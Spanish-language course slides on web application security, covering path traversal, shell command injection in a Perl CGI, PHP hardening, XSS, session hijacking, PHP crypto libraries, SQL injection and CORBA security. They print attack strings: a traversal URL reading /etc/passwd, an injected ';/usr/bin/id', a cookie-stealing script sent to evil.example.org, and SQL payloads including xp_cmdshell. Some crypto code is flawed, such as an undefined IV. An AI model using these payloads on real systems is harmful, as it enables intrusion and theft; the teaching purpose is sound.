Veamos ahora lo que pasa si usamos el escalado de directorios: Ejemplo: www.victima.com/cgi-bin/show_text_file?filename=../../../../../etc/passwd PHP para mostrar ficheros de texto root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync games:x:5:100:games:/usr/games:/bin/sh (… etc)
Command Execution Attack
#!/usr/bin/perl print "Content-type:text/htmlnn"; print < < EndOfHTML; < html>< head>< title>Print Environment< /title>< /head> < body> EndOfHTML $HOST=$ENV{"QUERY_STRING"}; $HOST=~ s/%(..)/pack("c",hex($1))/ge; print "Resolviendo Dominio $HOST"; system("/usr/bin/nslookup $HOST"); print "< br>< /body>< /html>";
El usuario como atacante podría introducir un carácter que fuera interpretado de una forma especial por la shell.
Ejemplos de tales caracteres son : ; (separa 2 comandos distintos) | (pipe) &, etc. Para explotar este ejemplo utilizaremos ;. En UNIX el ; sirve para ejecutar 2 comandos distintos en una misma línea. Por ejemplo echo hola; echo mundo sacaría por pantalla hola mundo. Veamos que sucede si introducimos un ; http://victima.com/cgi-bin/nslookup.cgi?falsodominio;/usr/bin/id
Salida: Resolviendo Dominio falsodominio;/usr/bin/idServer: ganimedes Address: 172.26.0.5#53 ** server can't find falsodominio: NXDOMAIN uid=33(www-data) gid=33(www-data) groups=33(www-data)
• Usarlas para determinar lo que es válido • Lo que no encaje, es invalido • Casi todos los lenguajes incluyen bibliotecas • Hay ligeras diferencias • Podemos utilizar expresiones regulares para aceptar lo que esté permitido. Ejemplo: • El fichero debe estar en c: o d: • El camino contiene una serie de barras invertidas y caracteres alfanuméricos • El nombre va detrás del camino, es alfanumérico, de 32 caracteres como máximo, seguido de un punto y termina con txt, gif, jpg
Expresiones regulares ˆ[cd]:(?:/w+)+/w{1,32}.(txt|jpg|gif)$
Asegurando PHP
Default php.ini < V.4.8 ; WARNING ; ; This is the default settings file for new PHP installations. ; By default, PHP installs itself with a configuration suitable for ; development purposes, and *NOT* for production purposes. Actualizar instalaciones Hay mucha vulnerabilidades en el archivo de configuración (GLOBAL_VARS, SESSIONS, etc)
Configuraciones para asegurar PHP display_errors = Off (turn on with ini_set or .htaccess) log_errors = On error_reporting = E_ALL (better error reporting) session.save_path=/opt/php/session session.gc_maxlifetime=600 (ten minutes of inactivity) safe_mode = On (enable if possible) safe_mode_gid = On (enable if possible)
Más configuraciones register_globals = Off Never turn on Too easy to write insecure code Auto initializes variables from Get/Post/Cookie data
URL= index.php?administrator=xyz < ?phpif (isset($administrator)){ $authorized = true;}?>
Eliminar Javascript y reducir ataques XSS Use preg_replace() on …
javascript: onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup
Register Globals
Está deshabilitado por defecto en PHP superiores a la 4.2, no representa una vulnerabilidad pero si un riesgo
Se debería trabajar register_globals deshabilitado < ?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } ?> Con register_globals habilitado, esta página puede ser llamada con ?authorized=1 en la cadena de consulta y se puede hacer un bypass para este acceso.
Asegurar que el filtro de datos no puede ser saltado Asegurar que los datos inválidos no puede interpretados como datos válidos Identificar los datos de origen El Método de despacho
El Método include
Filtros
Reporte de Errores error_reporting Esta directiva configura el nivel de reporte de errores, es recomendado habilitarlo como E_ALL tanto para ambientes de desarrollo como de producción
display_errors Cuales errores deben ser mostrados en la pantalla. (ON: Para desarrollo OFF: para Producción)
log_errors Qué errores deben ser escritos en un archivo de logs. Debe estar en ON
error_log Indica la localización de los archivos de logs.. Revisar permisos!!!!
Posible Spoofing desde el procesamiento de Forms
http://www.atacame.com/form.html: < form action="/process.php" method="post"> < select name="color"> < option value="red">red< /option> < option value="green">green< /option> < option value="blue">blue< /option> < /select> < input type="submit" /> < /form> < form action="http://www.atacame.com/process.php" method="post"> < input type="text" name="color" /> < input type="submit" /> < /form>
Cross-Site Scripting ? Explotar la confianza que un usuario tiene sobre un sitio
? Generalmente en WebSites que muestran datos remotos
Si se muestra el contenido que proviene desde una fuente remota son los filtros apropiados, se puede tener una vulnerabilidad de XSS. Los datos remotos no son solo variables que vienen desde el cliente, puede serlo un banner, email, syndicated blog.
< form> < input type="text" name="message">< br /> < input type="submit"> < /form> < ?php if (isset($_GET['message'])) { $fp = fopen('./messages.txt', 'a'); fwrite($fp, "{$_GET['message']}< br />"); fclose($fp); } readfile('./messages.txt'); ?> Ejemplo de un message board:
Este mensaje adiciona < br/> a cualquier entrada del usuario, y anexa esto a un archivo, luego muestra el contenido del archivo Si el usuario ingresa: < script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie < /script> El siguiente usuario que visite el message board con JavaScript habilitado es redirigido a evil.example.org, y cualquier cookie asociada con el sitio actual es incluida en la cadena de consulta del URL. Aquí todo está a la imaginación del atacante
Filtrar los datos externos Usar funciones existentes como: htmlentities(), strip_tags(), y utf8_decode() Disminuir los riesgos XSS
Interacción con bases de datos…. Generalmente se utilizan conexión a SMBD usando credenciales para autenticación: Exponer las credenciales de Acceso < ?php $host = 'example.org'; $username = 'myuser'; $password = 'mypass'; $db = mysql_connect($host, $username, $password); ?>
Buena práctica utilizar módulos…. /path/to/secret-stuff, que solamente root pueda ( NO nobody) : SetEnv DB_USER "myuser" SetEnv DB_PASS "mypass" Incluir este archivo dentro del httpd.conf : Include "/path/to/secret-stuff" Ahora puede usarse desde PHP $_SERVER['DB_USER'] y $_SERVER['DB_PASS'] en el código.
No solamente no hay que volver a escribir el username y el password en los scripts, también el WebServer no puede leer el archivo secret-stuff, así que otros usuarios no pueden escribir scripts que lean las credenciales de acceso; obviamente estas variables no pueden quedar expuestas en phpinfo() o print_r($_SERVER).
HTTP no tiene estado, no hay relación entre peticiones sucesivas de los clientes • Las ‘cookies’ se introdujeron para proporcionar una forma de obtenerlo No solucionan completamente el problema: • Tamaño limitado • Manejadas por el cliente • Los objetos de sesión son conjuntos de variables en el lado del servidor que mantienen información sobre el estado • Ahora hace falta asociarlas con el usuario: el identificador de sesión (session id) Sesiones
• Si un usuario es capaz de conseguir el identificador de usuario de otro, tendremos problemas • ¿Cómo? • Adivinarla, calcularla, fuerza bruta, prueba y error • XSS • Referers • Husmeadores (packet sniffing) Robo de sesiones
Sesiones El identificador de la sesión puede ser una pieza importante para el atacante Hay 3 formas de obtener este ID: 1. Prediction 2. Capture 3. Fixation Prediction Consiste en adivinar el identificador de la sesión.
Capturar una sesión válida es el tipo más común de ataques. Muchas de los ID’s de las sesiones son propagados en cookies o variables GET
Fixation es un método simple de obtener un ID válido de sesión. Con los métodos session_start() se puede abrir la vulnerabilidad
< ?php $msg = “Mensaje a cifrar"; $enc_msg = md5($msg); print "hash2: $enc_msg < br />< br />"; ?> Mcrypt Es una librería criptográfica que implementa más de 22 algoritmos de bloque
Blowfish RC2 Safer-sk64 xtea Cast-256 RC4 Safer-sk128 DES RC4-iv Serpent Enigma Rijndael-128 Threeway Gost Rijndael-192 TripleDES LOKI97 Rijndael-256 Twofish Panama Saferplus Wake Criptografía en PHP
< ?php
$string = “Mensaje de Prueba.";
//Llave para encriptar $key = “Llave para encriptar";
// Algoritmo Encripción $cipher_alg = MCRYPT_RIJNDAEL_128;
// Encrypt $string $encrypted_string = mcrypt_encrypt($cipher_alg, $key, $string, MCRYPT_MODE_CBC, $iv);
// Convertir a hexadecimal y mostrar la salida en un browser print “Cadena cifrada: ".bin2hex($encrypted_string)."< p>";
?>
< ?php $hash_alg = MHASH_SHA; $message = “Mensaje Prueba."; $hashed_message = mhash($hash_alg, $message); print “El mensaje hash es: ". bin2hex($hashed_message); ?> Es una librería que provee soporte para 12 algoritmos hashCRC32, HAVAL160,MD5, CRC32B…. SHA1……TIGER http://www.phpclasses.org/browse/class/20.html Mhash
AzDGCrypt
AzDGPasswordGenerator
BmpCrypt
Crypt Class
Cryptography Symmetric Block Cipher Using Binary XOR
ctlCipherSaber
Clases en PHP Encrypt MD5 64
Encryption&&Decryption with Rijndael 256
SSH && SSL in PHP
Aplicaciones Web Cuando se instalen aplicaciones web libres siempre estar atento a las advertencias de seguridad Matener un backup de las bases de datos Estar familiarizado sobre como actualizar la aplicaciones Usar modo seguro en lo posible
Seguridad en SQL
Ataque contra un Gestor de Bases de Datos Relacional que aprovecha la vulnerabilidad de una aplicación cliente del mismo.
Dicha vulnerabilidad consiste en permitir mandar instrucciones SQL adicionales a partir de un campo o un parámetro de entrada – por lo que se dice han sido "inyectadas". SQL Injection
El ataque "SQL Injection" es posible dadas ciertas características del lenguaje– SQL que lo dotan de flexibilidad: Poder embeber comentarios en una sentencia SQL Poder escribir varias sentencias SQL juntas y ejecutarlas en bloque. Poder realizar consultas de metadatos por medio de "tablas de sistema".
SQL Injection
Una aplicación de acceso a datos que emplea entradas de usuario como parámetros de una consulta SQL común. Es típico que este tipo de consultas sean construidas dinámicamente utilizando sentencias SQL con concatenación de variables, al estilo: SQL Injection "SELECT campo1, campo2,…, campoN FROM tablaXWHERE campo1=" + mValor [+ …]
Donde mValor esta dado por una entrada de usuario.
Son éstas entradas las puertas a un SQL Injection ya que, dependiendo del tipo de dato de mValor, si en lugar de la entrada esperada se coloca: SQL Injection a) ' Or 1=1 — b) 0 Or 1=1 — c) #01/01/01# Or 1=1 — "SELECT campo1, campo2,…, campoN FROM tablaXWHERE campo1='' Or 1=1 — lo que siga no importa"
Lo que se consigue es de hacer válida la consulta al añadir una clausula OR que siempre será cierta (1=1) así como de obligar al intérprete SQL a omitir el resto de la sentencia SQL original al introducir el guión doble (–) que le indica que lo subsiguiente es un comentario.
El atacante puede, por ejemplo, tener acceso a la aplicación sin necesidad de contar con las credenciales adecuadas. SQL Injection ' UNION SELECT id, name, '', 0,'' FROM sysobjects WHERE xtype='U' — '; EXEC xp_cmdshell 'net stop sqlserver', no_output
Existen ciertos principios a considerar para proteger nuestras aplicaciones de un SQL Injection:
No confiar en la entrada del usuario. No utilizar sentencias SQL construidas dinámicamente. No utilizar cuentas con privilegios administrativos. No proporcionar mayor información de la necesaria.
Protecciones SQL Injection
Escapar los Datos
Usar mysql_escape_string() addslashes() String s = inputSQLs = inputSQL.Replace("'", "''")s = s.Replace("[", "[[]")s = s.Replace("%", "[%]")s = s.Replace("_", "[_]") Private Function string SafeSqlLiteral( _ByVal inputSQL As String) As StringReturn inputSQL.Replace("'", "''")End Function'…Dim safeSQL As String = SafeSqlLiteral(Login.Text)Dim myCommand As SqlDataAdapter = _New SqlDataAdapter("SELECT au_lname, au_fname " & _"FROM authors WHERE au_id = '" & safeSQL & "'", _myConnection)
Seguridad en CORBA
Al igual que todas las especificaciones de la OMG, la de CORBAsec es larga y tediosa
Un agente usuario de Corba debe presentar sus credenciales, es decir, sus atributos de seguridad: Identificación Privilegios
Se maneja el concepto de dominios de seguridad y de políticas de seguridad CorbaSec : algunos principios
Otros aspectos inherentes a seguridad en sistemas distribuidos: Seguridad al nivel de granularidad de los objetos Delegación Definición de dominios de seguridad que no corresponden con dominios de administración de sistemas (jerarquías, federaciones) Interoperabilidad con otros sistemas de objetos (DCOM, EJB) Si las aplicaciones incluyen acciones relacionadas con seguridad o no. Otros aspectos de CORBASec
Las propuestas de la OMG para proveer seguridad en Corba se centran en definir mecanismos para el acceso seguro a objetos
La necesidad de proteger todo tipo de información (no sólo la que se provee por medio del modelo de objetos distribuidos) hace necesario pensar en protecciones más generales
Estos mecanismos de protección general afectan la implantación y el desempeño de sistemas distribuidos Seguridad a todo nivel
En un esquema cliente/servidor la conexión es iniciada siempre por el cliente, usando sockets directamente, RPC, RMI, etc.
En Corba, al ser un conjunto de objetos distribuidos interoperando libremente, el cliente y el servidor pueden intercambiar roles dinámicamente al momento de establecer cada conexión se debe localizar el objeto referenciado, resultando en operaciones de consulta a servidores de nombres Sistemas de objetos distribuidos
IIOP: Internet Inter ORB Protocol IIOP = GIOP (+ CDR) + TCP/IP Se define una estructura de localización en Internet, llamada IOR (Internet Object Reference) Los tipos de mensaje definidos están mapeados en funciones que realizan el envío sobre TCP/IP, típicamente usando la interfaz de sockets No se define un puerto “bien conocido” para el servidor, más bien se establece que puede haber varios servidores en el mismo “host” IIOP puede ir codificado sobre SSL Implementación de llamadas CORBA: IIOP
-Especificado en CORBAsec
-Define extensiones a IIOP que lo hacen “consciente” de aspectos de seguridad
-El protocolo incluye aspectos de autentificación basado en credenciales, para estableces asociaciones
– El tráfico se encripta en una subcapa del protocolo SECIOP llamada GSSAPI, por lo que no se requiere de SSL debajo IIOP seguro: SECIOP
– IIOP/SSL tiene un mayor nivel de difusión, debido a que SSL es una tecnología madura
– SECIOP permite autentificar a nivel de objetos, SSL a nivel de conexión
– En casos en que el acceso a cada objeto va por una conexión separada, ambos ofrecen el mismo poder
– En caso de hacer tunneling debido, por ejemplo, a restricciones de NAT, SECIOP sigue manteniendo la granularidad a nivel de objetos, SSL no SECIOP vs. IIOP/SSL
Conclusiones Extensión del rol de la seguridad
Revisión de las arquitecturas, APIS, Frameworks, clases, paquetes….
Conciencia del “buen” programador
Reutilización de componentes de seguridad (Autenticación, Criptografía, Certificados, Firmas …)
Entornos privativos y Libre ofrecen soporte para aplicaciones seguras.
| Página siguiente |